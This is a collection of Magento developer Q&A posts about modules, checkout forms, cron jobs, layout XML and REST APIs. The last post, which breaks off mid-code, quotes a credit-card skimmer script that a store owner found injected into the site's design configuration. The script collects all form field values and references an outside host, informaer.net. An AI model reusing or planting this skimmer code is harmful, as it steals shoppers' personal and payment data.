texts: custom module name is not listed in setup_module table Magento 2.1

texts:
I am running on localhostand entry point of my website is http://localhost.magento2.com/

1)config.xml have  'Mastering_SampleModule' => 1, but my custom module is not listed in setup_module table

commands i used:

maddy@maddy:/var/www/html/magento2.com/public_html$ sudo php bin/magento setup:upgrade

maddy@maddy:/var/www/html/magento2.com/public_html$ sudo php bin/magento setup:di:compile

module.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Module/etc/module.xsd">
    <module name="Mastering_SampleModule" setup_version="1.0.0">
        <sequence>
            <module name="Magento_Catalog"/>
        </sequence>
    </module>
</config>

REGISTRATION.PHP

<?php
\Magento\Framework\Component\ComponentRegistrar::register(
    \Magento\Framework\Component\ComponentRegistrar::MODULE,
    'Mastering_SampleModule',
    __DIR__
);


texts: Why the product attribute input type is uneditable via admin panel once it created in magento 2

texts:
Why the product attribute input type is uneditable via admin panel once it created in Magento 2.
Can anyone explain?
My understanding is once the attribute values are entered and saved, the type of the attribute is changed then the previous values of the attribute which is assigned to the products may lose


texts:
I have a very strange issue that looks related to session.

There are a couple of things not working:

If I add a product to the cart, I'm redirect to the cart page but no items
If I try to create a new user, I'm redirect back with no message.

I have tried the following code and I expect a message in the frontend but nothing:

public function anyAction()
    {
        $session = $this->_getSession();
        $session->addError($this->__('BLABLABLA'));
        $this->_redirectError(Mage::getUrl('*/*/create', array('_secure' => true)));
    }

That is why I suspect that the problem is related to session.

Any idea ?


texts:
I want to fetch the processing orders, How to fetch the processing orders collection in Magento2.

Thanks
Bestregards


texts: Duplicate content due to multiple categories per product

texts:
On my website, there is a category special offers. The way I fill this category is by just assigning the product to both, the standard category and the special offers one. Of course this leads to duplicate content for Google.

The question: Which is the best way of avoiding duplicate content for articles which are assigned to more than one category, for example by canonicalizing the special offers category? Is there a feature for it? Do I need to build this myself?


texts:
I have encountered an order view error. When I view an order in the magento2.2.6 background, it displays

  "Information Changes have been made to this section that
  have not been saved. This tab contains invalid data. Please resolve
  this before saving."

Instead of order details.
I found some of the same problems on Google. I disabled Temando_Shipping modules according to their solution, but it didn't solve my problem, I still can't view this order.
And I don't see the error log related to this problem.
Can someone help me?


texts: Show current category in layered navigation

texts:
In layered navigation view, my themes show which filters are currently applied to the view. However, it doesn't show which category you are currently in.

I guess I have to edit the state.phtml, but what would I add in order to get current category?


texts: Add javascript library only on the category page?

texts: I'm using magento 2 and I'm trying to insert a javascript library into into my category page. I only need it so I can stick my sidebar , so I don't need them also on other pages , what is the right file to edit so I can add the libraries ?


texts: Is it possible to update only EE core by CE core?

texts:
We have bought Magento EE more than year ago. Now we decided to break the contract couse it too expensive for us.

At the same time we can still use EE but without any support certainly.

I have read that EE and CE has the same core. If it does - the main idea is to replace EE core files by CE core files to update magento. And after that to change the theme.

Is it possible to use EE functionality and be updated by CE at the same time? We would like to use EE functionality and have up-to-date CE core at the same time.

UPDATE:

I didn't tell why we need to do that. We have more than 200k products and more than 1000 categories. So I have heard that Varnish + CE is not stable. FPC - is a native magento cache system which works good. Therefore it would be good to use it in CE. Is there some way to migrate just FPC to CE?


texts: Magento 2.4 fails to install due to missing composer config file in composer_home

texts:
I tried to install Magento 2.4 via command line. It runs smooth until
[Progress: 653 / 1206]
Module 'Magento_ComposerRootUpdatePlugin':

At this step the installation fails with
Installing data... Reading /<magento_root>/composer.json
Loading config file /<magento_root>/composer.json
Failed to initialize global composer: Composer could not find the config file: /<magento_root>/var/composer_home/composer.json
To initialize a project, please create a composer.json file as described in the https://getcomposer.org/ "Getting Started" section

Composer is installed globally. The Magento documentation does not mention anything else regarding composer.
Thank you very much.


texts: Linux debian automatic script to free up memory - advice

texts:
I need your professional advice on using this script on my linux debian server...

The server is used to hosting a website on Magento platform and I have noticed that each 2-3 days when I check the memory its showing like 5-7 GB free memory from total of 64 GB of used...

so I camed across this website :

  https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/

Where the script is following:

!/bin/bash # Note, we are using "echo 3", but it is not recommended in production instead use "echo 1" echo echo 3 > /proc/sys/vm/drop_caches
now the question is this is this safe to do ? can some damage happen if i put this into crontab that runs this daily ?

they have stated the following :

Is it a good idea to free Buffer and Cache in Linux that might be used by Linux Kernel? When you are applying various settings and want to check, if it is actually implemented specially on I/O-extensive benchmark, then you may need to clear buffer cache. You can drop cache as explained above without rebooting the System i.e., no downtime required.

Linux is designed in such a way that it looks into disk cache before looking onto the disk. If it finds the resource in the cache, then the request doesn’t reach the disk. If we clean the cache, the disk cache will be less useful as the OS will look for the resource on the disk.

Moreover it will also slow the system for a few seconds while the cache is cleaned and every resource required by OS is loaded again in the disk-cache.

I am also wondering i noticed on some other websites the command to load up the memory looks like this :

!/bin/bash

sync; echo 3 > /proc/sys/vm/drop_caches

So which is better what does "sync" before the echo do ?

Thanks for your explanation


texts: How to get product collection with custom attribute option and out of stock is 0?

texts:
Trying to find product collection with custom attribute option 'Show Room' as filter and out of stock that is 'is_in_stock' attribute is equal to 0

 $sAttributeName = 'sale_by';
    $mOptionValue = 'Show Room';
    $_get_show_room_sale_products = Mage::getModel('catalog/product')->getCollection();
    $_get_show_room_sale_products
    ->addAttributeToSelect('*')
    ->addAttributeToFilter('is_in_stock', 0)
    ->addFieldToFilter(
    $sAttributeName,
    array(
        'eq' => Mage::getResourceModel('catalog/product')
                    ->getAttribute($sAttributeName)
                    ->getSource()
                    ->getOptionId($mOptionValue)
    )
    );

But I am getting following error

Fatal error: Call to a member function getBackend() on a non-object in..../app/code/core/Mage/Eav/Model/Entity/Abstract.php on line 816

What am i miss here.Please advice


texts: Magento 2 - Home Page Content Reorder using Set Position

texts:
I am using banner extension and the position to display banner on home page is set to Content-Top. The banner appears below category navigation on home page

default.xml for third party banner module

<referenceContainer name="content">
    <block class="Vendor\Module\Block\Bannerslider" name="bannerslider.content.top" before="-">
        <action method="setPosition">
            <argument name="position" xsi:type="string">content-top</argument>
        </action>
    </block>
</referenceContainer>

Now I addded below content in Home Page Content block which will display free shipping image

On the frontend, home page displays Banner first and then free shipping image. I tried with below code in my custom theme's default.xml

    <referenceContainer name="content">
            <block class="Magento\Cms\Block\Block" name="my-free-shipping-block" before="-">
            <arguments>
                <argument name="block_id" xsi:type="string">my-free-shipping-block</argument>
            </arguments>
        </block>
   </referenceContainer>

where my-free-shipping-block is my block identifier.

How do I show free shipping image first on home page followed by
banner ?
Can we use <action method="setPosition"> in our custom theme's
default.xml to reorder home page content ?


texts: How to use the Review functionality after receiving an order

texts: I found, in transactional email a template for a review email. It is not clear to me how I can use that template. How can I send automatically an email to a customer with a link to a review about our shop, order or products?


texts:
Suddenly I'm seeing that all the items in the inventory appears as "Out of Stock" but all of them has one or more items available (never zero). All the items are configurable products and the simple ones are no visible individually in the frontend.

The settings for the configurable products inventory are as follow:

Manage Stock: Yes (Use Config Settings)
Enable Qty Increments: Yes (Use Config Settings)
Qty Increments: 1 (Use Config Settings)
Stock Availabity: In Stock

The Settings for the simple products inventory are as follow:

Manage Stock: Yes (Use Config Settings)
Qty: 1
Qty for Item's Status to Become Out of Stock: 0 (Use Config Settings)
Minimum Qty Allowed in Shopping Cart: 0 (Use Config Settings)
Maximum Qty Allowed in Shopping Cart: 10000 (Use Config Settings)
Qty Uses Decimals: No
Backorders: No Backorders (Use Config Settings)
Notify for Quantity Below: 1 (Use Config Settings)
Enable Qty Increments: Yes (Use Config Settings)
Qty Increments: 1 (Use Config Settings)
Stock Availability: In Stock


texts: Layered Navigation - filter by two categories

texts: I need to add possibility in Layered Navigation to filter by two categories. Can you give me a hint what should I change?


texts: My customers by orders total only returns 5 results for any given report.  If I choose day, or month or year.  I only get the top 5.  Any ideas why it wont show all of them?  I dont see any errors on the page


texts: I Have some affiliate links( from shopping site) in my magento site( magento Version 1.9). i need to track that links. Is any possible way to track affiliate links. i have no idea about that please help me.


texts: adding PHP code to magento and calling it in phtml

texts:
So I'm trying to add a few lines of custom PHP code to a site that I am using Magento with. I have some understanding that I would need to create a module and the necessary files and directories but every thing I've has either resulted in a broken page or my result just not showing up at all. I want to be able to create the code as well as maybe call to it in the phtml file I want it to show on, how can I do this? Also here is the code I want to put in:

 <?php
$h = date('G'); //set variable $h to the hour of the day
//G is the date key for hours in 24 format (not 12), with no leading 0s, like 02.

if ($h < 7) $img = 'fish.jpg';
else if ($h < 20) $img = 'frogs.jpg';
else $img = 'potatoes.jpg';

//if it's before 7am, use fish image
//if not and it's before 8pm, use frogs
//otherwise, potatoes
?>


texts:
I'm trying to overload the newsletter controller so that I can add in extra fields for the newsletter page.
I'm basing my module on this code where the author just updates the core file (yuck): http://justonestepsolution.blogspot.co.uk/2012/08/add-firstlast-name-in-newsletter-module.html

At the moment, i'm just trying to get the newsletter to use my extended class, but it's not working for some reason. I've cleared the cache etc and can see the module is loaded in admin > configuration > advanced

So here's my code:

app/code/local/Skywire/Newsletter/etc/config.xml:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <modules>
        <Skywire_Newsletter>
            <version>0.1.0</version>
        </Skywire_Newsletter>
    </modules>
    <frontend>
        <routers>
            <newsletter>
                <args>
                    <modules>
                        <Skywire_Newsletter before="Mage_Newsletter_SubscriberController">Skywire_Newsletter</Skywire_Newsletter>
                    </modules>
                </args>
            </newsletter>
        </routers>
    </frontend>
</config>

app/code/local/Skywire/Newsletter/controllers/SubscribeController.php:

<?php
include_once("Mage/Newsletter/controllers/SubscriberController.php");
class Skywire_Newsletter_SubscriberController extends Mage_Newsletter_SubscriberController {
    public function newAction()
    {
        echo "here";
        exit;
    }
}

app/etc/modules/Skywire_Newsletter.xml

<?xml version="1.0"?>
<config>
    <modules>
        <Skywire_Newsletter>
             <active>true</active>
             <codePool>local</codePool>
        </Skywire_Newsletter>
    </modules>
</config>


texts: How to set bundle product renderer in custom module?

texts:
I want to get bundle product options: like this

I have added setTemplate bundle/options.phtml file with Magento\Bundle\Block\Catalog\Product\View\Type\Bundle class now i am getting message :

  There is no defined renderer for "radio" option type

i know that i have to set all renderer type(select,checkbox,multi and radio)

but how can i set all renderer types ?


texts: How to delete email recipients from database?

texts:
After upgrading from 1.7 to 1.9.1 I have some challenges for the Cron Mail. Mail sends out as it should without any problem.

When the cron job core/email_queue::cleanQueue is running, it only delete the e-mails (rows) in SQL table core_email_queue where processed_at got a time value indication mail have been sent.

Problem is that in SQL table core_email_queue_recipients still keep the recipient's e-mail adresses and when new orders arrive, it add new mail addresses with same message_id and recipient_id as previous sent e-mails. Then the new customer and previous (wrong) customer get same e-mail.

Solving: How can I delete any previous date of core_email_queue_recipients that already got e-mails? Is there something wrong with the DataBase where these two tables should be linked so when e-mail is deleted the recipients should also be deleted? Or should it be an additional deleting process in one of the cron jobs like in core/email_queue::cleanQueue?

Looks like I only have seen one other person have this problem, so I am not sure how I ended up here. But I am no Magento Expert, so any good advices will be warmly welcome.


texts: /graphql not working on windows but works on linux machine

texts:
Officially Magento2.3 supports only these operating systems

  Linux distributions, such as RedHat Enterprise Linux (RHEL), CentOS,
  Ubuntu, Debian, and similar.

This is my configuration

Installed Magento2.3.0 with sample data On
Windows 10
Apache2.4
PHP Version 7.2.12 (PHP compiled with Xampp)
Database Server version: 10.1.22-MariaDB - mariadb.org binary
distribution

My question is about How to make this work on windows (XAMPP)?

http://magento23.me/graphql
This URL doesn't load to me in windows


texts: "State" field in checkout billing and shipping forms not displaying

texts:
I'm using Magento 1.9 and can't figure out why the state field in the billing and shipping forms used in the onepage checkout process don't show up.  Here's the code for the billing form:

frontend/default/mycompany/template/persistent/checkout/onepage/billing.phtml:

    <select id="billing:region_id" name="billing[region_id]" title="<?php echo $this->__('State/Province') ?>" class="validate-select" style="display:none;">
        <option value=""><?php echo $this->__('State/Province') ?></option>
    </select>

    <input type="text" id="billing:region" name="billing[region]" value="<?php echo $this->escapeHtml($this->getAddress()->getRegion()) ?>"  title="<?php echo $this->__('State/Province') ?>" class="input-text <?php echo $this->helper('customer/address')->getAttributeValidationClass('region') ?>" placeholder="<?php echo $this->__('State/Province') ?>" style="display:none;" />

Even if I remove the inline styling in the  tag, style="display:none;", the field still doesn't show up.

Where is the javascript file that is controlling the show/hide function of this field?  The JS script is setting an attribute to a default value; however, the php code, getAddress()->getRegionId() ?>, yields a blank.
Is there a setting in the Admin panel that controls whether or not this field is displayed?  The default country is set for the US.


texts: Magento 2 shipping method radio button not display selected on checkout

texts:
I have customized the checkout step to make one step checkout. everything is working fine but when I click on select shipping method radio button functionality is working but radio button not display selected. but when i click on radio button label Eg: Flat Rate radio button will display selected.

I didn't understand what is wrong when clicking on radio button not display selected but click on radio button label display as selected.

Below is my .html overridden file which is responsible for shipping method HTML render. can anyone help to short out this issue?

        <input class="radio"
               type="radio"
               data-bind="attr: {
                            checked: $parent.rates().length == 1,
                            'value' : method.carrier_code + '_' + method.method_code,
                            'id': 's_method_' + method.method_code,
                            'aria-labelledby': 'label_method_' + method.method_code + '_' + method.carrier_code + ' ' + 'label_carrier_' + method.method_code + '_' + method.carrier_code
                         }" />

        <input type="radio"
               data-bind="
                        value: method.carrier_code + '_' + method.method_code,
                        checked: $parent.isSelected,
                        attr: {
                            'id': 's_method_' + method.carrier_code + '_' + method.method_code,
                            'aria-labelledby': 'label_method_' + method.method_code + '_' + method.carrier_code + ' ' + 'label_carrier_' + method.method_code + '_' + method.carrier_code
                        },
                        click: $parent.selectShippingMethod"
               class="radio"/>

Any help would be appreciated!


texts: Remove shipping form custom attribute from address in checkout

texts:
I followed the first steps of this documentation (https://devdocs.magento.com/guides/v2.3/howdoi/checkout/checkout_new_field.html) to add a new input field (date of birth) to the shipping address form in checkout. Here is my relevant code in a plugin class:

    <?php

namespace Vendor\Module\Plugin;

use Vendor\Module\Helper\Data;

class AddDob
{

    private $_helper;

    function __construct(
        Data $helper
    )
    {
        $this->_helper = $helper;
    }

    public function afterProcess($subject, $jsLayout)
    {
        if (!$this->_helper->isEnabled()) return $jsLayout;

        $customAttributeCode = 'dob';

        $customField = [
            'component' => 'Vendor_Module/js/form/element/dob',
            'config' => [
                'customScope' => 'shippingAddress.custom_attributes',
                'customEntry' => null,
                'template' => 'ui/form/field',
                'elementTmpl' => 'Vendor_Module/form/element/dob'
            ],
            'dataScope' => 'shippingAddress.custom_attributes.'.$customAttributeCode,
            'label' => __('Date of birth'),
            'provider' => 'checkoutProvider',
            'sortOrder' => $this->_helper->getSortOrder(),
            'options' => [],
            'filterBy' => null,
            'customEntry' => null,
            'visible' => true,
        ];

        if ($this->_helper->isRequired()) {
            $customField['validation']['required-entry'] = true;
        }

        if ($this->_helper->tooltipIsEnabled()) {
            $customField['config']['tooltip'] = [
                'description' => $this->_helper->tooltipGetContent()
            ];
        }

        $jsLayout['components']['checkout']['children']['steps']['children']['shipping-step']['children']['shippingAddress']['children']['shipping-address-fieldset']['children'][$customAttributeCode] = $customField;

        return $jsLayout;
    }
}

I also implemented the plugin class via di.xml. So it works basically as you can see here:

However when I proceed to the billing form, I see two new rows in the address, one says "dob" (which is the name of my date of birth input field) and the other one displays its value, as you can see here:

But I do not want them to appear in the address. How can I get rid of it?


texts: Magento 1.9.1 I have added popup after clicking on addtocart button but the page is reloading before closing the popup

texts:
Magento 1.9.1 I have added a popup after clicking on the add to cart button but the page is reloading before closing the popup, Please let me know how can
http://onlineflowersdelivery.com/new/index.php/flowers-3/lovely-smile.html
Popup code and script

        <?php echo $this->getLayout()->createBlock('cms/block')->setBlockId('pop_related_products')->toHtml() ?>

    jQuery("#bestprice").click(function(event) {
        jQuery("#popup_overlay").show();
        jQuery("#popup_form").show();
    });

    jQuery(".cancel_form").click(function(event) {
        jQuery("#popup_overlay").hide();
        jQuery("#popup_form").hide();
    });

jQuery("#price_form_submit").click(function(e){
    e.preventDefault();
    name = jQuery("#price_form_name").val();
    email = jQuery("#price_form_email").val();
    phone = jQuery("#price_form_phone").val();
    sku = 'f700';
    url = window.location.protocol + "//" + window.location.host + "/" + window.location.pathname;
    data = "name="+name+"&email="+email+"&phone="+phone+"&sku="+sku+"&url="+url;
        jQuery.ajax({
          url: 'getBaseUrl() ?>/custom/prod_best_price.php',
          dataType: 'html',
          type : 'post',
          data: data,
          success: function(res){
                //alert(data.top_cart);
                if(!res)
                {
                    alert("You will get an sms or mail with your best price in 5 mins!");
                    //jQuery(".close-reveal-modal").click();
                    jQuery("#popup_overlay").hide();
                }else alert(res);
            }
                    });
});

Button Code is

" id="bestprice" class="button btn-cart" onclick="productAddToCartForm.submit(this)">


texts:
I have some cron jobs which are just not run according to the AOE_Scheduler module.
What can be the reason? Some others are running so it does not seem to be a general problem.


texts: Fatal error: Uncaught Error: Cannot instantiate interface Magento\Framework\App\ExceptionHandlerInterface in C in magento2


texts: Programmatically Add Products to Store View?

texts:
We have a multi-store with a bunch of products.

For certain categories in specific store views, I'd like to set all products to be in a particular store. Advice on how to achieve this would be greatly appreciated.

One of my biggest missing pieces is how to programmatically set the "Product in Stores" for each product -- I could probably figure out the rest from there. But yes, any thoughts would be appreciated.


texts: How to set 'Display Product Options In' = 'Block After Info Column' globally

texts:
By default, Products options are shown in Product Info Box. If you want to show them below the info box, either

1 You have to edit xml layout update: catalog.xml

<block type="catalog/product_view" name="product.info" template="catalog/product/view.phtml">
    ...
    <action method="unsetCallChild"><child>container1</child><call>ifEquals</call><if>1</if><key>alias_in_layout</key><key>options_container</key></action>
    <action method="unsetCallChild"><child>container2</child><call>ifEquals</call><if>1</if><key>alias_in_layout</key><key>options_container</key></action>
</block>

Drawback of this approach is we can't override in local.xml. It has to be edited in the catalog.xml file itself.

2 or run SQL update as:

/* @var $this Mage_Catalog_Model_Resource_Setup */
$this->startSetup();
// get options_container attribute and update its value to 'container2' for configurable products
$attribute = $this->getAttribute('catalog_product', 'options_container');
if (!empty($attribute['attribute_id'])) {
    $this->run("
        UPDATE {$this->getTable('catalog_product_entity_varchar')}
        SET value = 'container2'
        WHERE
            entity_id IN (SELECT entity_id FROM {$this->getTable('catalog_product_entity')} WHERE type_id='configurable')
            AND attribute_id={$attribute['attribute_id']}
    ");
}

$this->endSetup();

I am just looking for third approach which works via local.xml layout update.


texts: Is there a way to limit how many options appear for a specific attribute? For example I want customers to be able to shop by manufactures the total number of manufactures displayed is a high amount. How can I make it so it is expandable by clicking a button?


texts: How to override getList in orders API endpoint?

texts:
I need to implement my own logic in the API endpoint which is responsible for getting all pending orders (/rest/V1/orders?searchCriteria[filter_groups][0]...). I'm trying to do something like if(...) { setCustomerId($modifiedcustomerId) }.
For a single order I found this: How to override order api in magento 2
This works but I don't know how to do it for all pending orders API. I guess I need to do an after plugin for getList so basically afterGetList?
How would I do this?
UPDATE
I think I got it (at least I can change the API response as I want to). I leave it here, just in case anybody needs it:
<?php

namespace Vendor\Module\Plugin\Magento\Sales\Model;

use Magento\Sales\Api\Data\OrderInterface;
use Magento\Sales\Api\OrderRepositoryInterface;

//use Magento\Sales\Model\OrderRepository as ModelOrderRepository;

class OrderRepository
{
    /*    public function afterGet(
            OrderRepositoryInterface $orderRepositoryInterface,
            OrderInterface $order
        )
        {

            $order->setCustomerId(1000);
            return $order;
        }*/

    public function afterGetList(
        \Magento\Sales\Api\OrderRepositoryInterface $subject,
        $orders
    )
    {
        foreach ($orders->getItems() as $key => $order) {

            $customerId = $order->getCustomerId();
            // $order->setCustomerId(1000);

            if ($customerId === "1") {
                $order->setCustomerId(222);
            }

            /*
            For reference: https://magento.stackexchange.com/questions/248140/how-can-we-get-stock-data-in-product-listing-via-aftergetlist-plugin-in-magento
            $qty = $this->stockItem->getStockQty($product->getId(), $product->getStore()->getWebsiteId());
                        $extensionattributes = $product->getExtensionAttributes();
                        $extensionattributes->setQty($qty);
                        $product->setExtensionAttributes($extensionattributes);*/
        }

        return $orders;
    }
}


texts:
I am facing a weird problem in Magento 1.9. I am learning Magento and I have created two projects with the same design template. In my first project, I am getting breadcrumbs like Home > Bags > Ultimate Bag which is SEO friendly.

But on the other hand, I am getting something like Home > Shop > Bags > Ultimate Bag which is not SEO friendly.

It automatically adjusts to his parent category in the first project but not working in the second one I have the same data for both projects. Can anyone suggest What should I do to get Breadcrumbs like the first project?

Thanks


texts: Magento 1.x Database tables with product data

texts: Which tables are the ones in the database that have all the product data in a Magento 1.x system?


texts: Edit layout of Magento 1.9 CE Shopping Cart

texts: In the attached image of my site's shopping cart, how do I edit the header so that the headers are over the correct columns? Magento 1.9 CE


texts: All customer Page is not working in Magento 2

texts:
I cannot open All customer from Magento Backend.No log file is generated.Primarily I thought it would be due to some module So I disable all the 3rd party module.But still it does not open.I got this...

I need help in this regard.Please help.


texts: How to add category name of product as a class in body element

texts:
I have single product page on my site. The product is having category "beauty".

Product display page having following body tag:

<body data-container="body" class="catalog-product-view product-extra-firming-night">

body tag have classes -: catalog-product-view product-extra-firming-night

Now what I want? I want to add/insert additional class in body tag. (see body tag below).

<body data-container="body" class="catalog-product-view product-extra-firming-night current-category-beauty">

My workaround is as follows:

I have checked the code in following file. Check the if condition.

[https://github.com/magento/magento2/blob/2.1-develop/app/code/Magento/Catalog/Helper/Product/View.php#L162][1]

Also tried to add custom code above if condition.

$pageConfig->addBodyClass('product-' . $product->getCategory());

Can anybody help on this issue. how to add category name as a class in body tag??


texts: How to integrate Magento2 into existing NodeJs application

texts: How to integrate Magento ecommerce store into our existing application. Our application is an MEAN stack application.


texts:
What are the benefits of modularized styling?

For example, I'm using

app/design/frontend/<vendor>/<theme>/web/css/source/_extend.less

For all of my styling. However, the Magento Dev Docs say to place the styling into each module's folder, such as Checkout styling in:

app/design/frontend/<vendor>/<theme>/Magento_Checkout

But it all gets compiled into styles-m.css and styles-l.css anyways...doesn't seem to be a point?


texts: Magento 2 - custom price for product custom options

texts:
I want to set custom price for product custom options. Basically I have 3 checkboxes as a custom options and their price is 0 at product level.

I wanted to set their price as per customer id.

I was checking this file for changing the price but no clue :- /vendor/magento/module-catalog/view/base/web/js/price-box.js

    updatePrice: function updatePrice(newPrices) {
        var prices = this.cache.displayPrices,
            additionalPrice = {},
            pricesCode = [],
            priceValue, origin, finalPrice;

        this.cache.additionalPriceObject = this.cache.additionalPriceObject || {};

        if (newPrices) {
            $.extend(this.cache.additionalPriceObject, newPrices);
        }

        if (!_.isEmpty(additionalPrice)) {
            pricesCode = _.keys(additionalPrice);
        } else if (!_.isEmpty(prices)) {
            pricesCode = _.keys(prices);
        }

        _.each(this.cache.additionalPriceObject, function (additional) {
            if (additional && !_.isEmpty(additional)) {
                pricesCode = _.keys(additional);
            }
            _.each(pricesCode, function (priceCode) {
                priceValue = additional[priceCode] || {};
                priceValue.amount = +priceValue.amount || 0;
                priceValue.adjustments = priceValue.adjustments || {};

                additionalPrice[priceCode] = additionalPrice[priceCode] || {
                        'amount': 0,
                        'adjustments': {}
                    };
                additionalPrice[priceCode].amount =  0 + (additionalPrice[priceCode].amount || 0) +
                    priceValue.amount;
                _.each(priceValue.adjustments, function (adValue, adCode) {
                    additionalPrice[priceCode].adjustments[adCode] = 0 +
                        (additionalPrice[priceCode].adjustments[adCode] || 0) + adValue;
                });
            });
        });

        if (_.isEmpty(additionalPrice)) {
            this.cache.displayPrices = utils.deepClone(this.options.prices);
        } else {
            _.each(additionalPrice, function (option, priceCode) {
                origin = this.options.prices[priceCode] || {};
                finalPrice = prices[priceCode] || {};
                option.amount = option.amount || 0;
                origin.amount = origin.amount || 0;
                origin.adjustments = origin.adjustments || {};
                finalPrice.adjustments = finalPrice.adjustments || {};

                finalPrice.amount = 0 + origin.amount + option.amount;
                _.each(option.adjustments, function (pa, paCode) {
                    finalPrice.adjustments[paCode] = 0 + (origin.adjustments[paCode] || 0) + pa;
                });
            }, this);
        }

        this.element.trigger('reloadPrice');
    },


texts: How to use the REST API /V1/products for mobile

texts:
I cannot really grasp how to use searchCriteria. What is the value that I should be passing? What is filterGroup, what is filters, what is conditionType. What are the values I can send in them.I am sorry if this sounds very basic but I would appreciate someone helping me out. I have been stuck for long
Never mind. just found it here


texts: topMenu not displaying as childHtml of custom block

texts:
I have the following xml declaration.

        <reference name="header">
        <block type="usability/features" name="usability.features" as="usability_features" template=" client/usability/features.phtml" before="-">
            <block type="usability/offcanvasmenu" name="usability.offcanvasmenu" as="usability_offcanvasmenu" template="client/usability/offcanvasmenu.phtml" before="-">
                 <block type="core/template" name="top.search" as="topSearch" template="catalogsearch/form.mini.phtml"/>
                <block type="core/text_list" name="top.menu" as="topMenu" translate="label">
                    Navigation Bar
                    <block type="page/html_topmenu" name="catalog.topnav" as="topMenu" template="page/html/topmenu.phtml">
                    </block>
                </block>
            </block>
        </block>
    </reference>

I have inside features.phtml

 <?php $this->getChildHtml('usability_offcanvasmenu');?>

This works as expected and offcanvasmenu.phtml contains the following

   <?php echo $this->getChildHtml('topSearch');?>
   <?php echo $this->getChildHtml('topMenu');?>

The above code displays the search bar however does not display the menu. A vague guess makes me think it might be something to do with topMenu being a structural block, still as far as I understand the layout system this should still be rendered.

It is possible that the include is unset somewhere else in the theme, however I think it is more likely I have missed a step due to my gaps in understanding.


texts: How to set "This is a no-reply email" in order confirmation email?

texts: I want to set "This is a no-reply email, we will not see any emails sent to this address" in order confirmation email so how can i do that ?


texts:
I created a module that has some logic to modify the price of certain items depending on a few conditions pertaining to the other items in the cart.

I'm trying to write a unit test to test that the price of the items will be modified as expected.

I'm struggling to figure out how do I pass different cart contents to my test, since my class only gets instantiated as an observer on the add_to_cart event.

I might be missing something obvious, but I've looked around and cannot seem to see how this should be done.


texts: I need to detect if product is associated product of grouped product and if it is get this grouped product. Can anyone help me with it?


texts:
crontab.xml:

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Cron:etc/crontab.xsd">
    <group id="default">
        <job name="test_product_import" instance="Test\ImportExport\Cron\ProductImport" method="execute">
            <schedule>* * * * *</schedule>
        </job>
    </group>
</config>

Php File that gets called by cron:

<?php

namespace Test\ImportExport\Cron;

class ProductImport
{
    protected $trace;

    public function __construct(
        \Test\Core\Model\Trace $trace
    )
    {
        $this->trace = $trace;
    }

    public function execute()
    {
        $this->trace->writeTrace("Test");
    }
}

Error message in cron_schedule table :

  Warning: fopen(app/code/Test/Trace.txt): failed to open stream:
  No such file or directory in
  /var/www/www.example.com/app/code/Test/Core/Model/Trace.php
  on line 12

On line 12 in this file:

$tracelog = fopen("app/code/Test/Trace.txt", "a") or die("Unable to open file!");

In SSH I executed

  php magento cron:run

and I got the error. Since I assume a permission problem I tried

  sudo -u www-data php magento cron:run

same issue. What's wrong?


texts: Magento2 Enterprice multicurrency website i want to checkout page country dropdown only india to be set when product purchase like inr

texts: Magento2 Enterprice edition  multicurrency website  i want to checkout cart page country dropdown only india to be set when product purchase like inr (indian  Rupies). so please given me a solution .


texts: Magento 2: Use custom connection for setup script

texts:
I have implemented multiple database for my Magento 2 website.

I have total three databases. magento, magento_checkout and magento_quote.   I have created my custom module which has custom flat table in setup script.  When this module runs, It is creating my table in magento database. I want it to be created in magento_checkout. I want to use connection of checkout database. I try to set argument in di.xml to use the connection of checkout database but it is using new connection for resource class but not working for setup class. My understanding says that if setup script will also use this new connection then my custom table will be created in magento_checkout. can someone help in this?

http://devdocs.magento.com/guides/v2.0/config-guide/multi-master/multi-master_masterdb.html

https://www.maxpronko.com/blog/new-database-connection-in-magento-2


texts: Which Plugin or Observer will work perfect at the time of Saving Order data in sales_order table Magento 2.3.4?

texts:
I am trying to know that which plugin or observer will work perfectly
  while saving order data in sales_order table. Actually i am trying to
  debug a scenario where only for one order, Grand Total < SubTotal in Admin Order Grid.
  Means it's mysteriously discounted an Order without applying a coupon.

  This case only for one order from >1000 orders but not able to
  reproduce this issue once again until it will not reproduce.

If any help will be appreciated.


texts:
I have set 404 page in admin stores > configuration but for some reason its not loading 404 page , its throwing following error:

Front controller reached 100 router match iterations

how can i display the 404 page not found instead of this error on same URL.


texts: Issue with Magento 2.3 installation stuck at 0%

texts:
Trying to install Magento 2.3 locally (Nginx-Php 7.1-Mysql- Centos 7), but it stucks on installation progress at 0% . Console error log says : http://domain.test/setup/index.php/install/start 500 Internal server error.

Is it an nginx configuration or magento file permission issue, or something else?


texts:
A customer complained about trojan alert on my website, and after doing some reading, I checked the pages, and I found this code below on the System > Configuration > General > Design.

 <script type="text/javascript">
<!--
var be20b6410993ea4c7a48767775856514b={
    snd:null,
    e294b002686cad2df01bb59e3e2299f3e:'https://informaer.net/js/info_jquery.js',
    myid:(function(name){
        var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+'=([^;]*)'));
        return matches?decodeURIComponent(matches[1]):undefined;
    })('setidd')||(function(){
        var ms=new Date();
        var myid = ms.getTime()+"-"+Math.floor(Math.random()*(999999999-11111111+1)+11111111);
        var date=new Date(new Date().getTime()+60*60*24*1000);
        document.cookie='setidd='+myid+'; path=/; expires='+date.toUTCString();
        return myid;
    })(),
clk:function(){
        be20b6410993ea4c7a48767775856514b.snd=null;
        var inp=document.querySelectorAll("input, select, textarea, checkbox, button");
        for (var i=0;i<inp.length;i++){
            if(inp[i].value.length>0){
                var nme=inp[i].name;
                if(nme==''){nme=i;}
                    be20b6410993ea4c7a48767775856514b.snd+=inp[i].name+'='+inp[i].value+'&';
            }
        }
    },
    send:function(){
        try{
            var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
            for(var i=0;i<btn.length;i++){
                var b=btn[i];
                if(b.type!='text'&&b.type!='select'&&b.type!='checkbox'&&b.type!='password'&&b.type!='radio'){
                    if(b.addEventListener) {
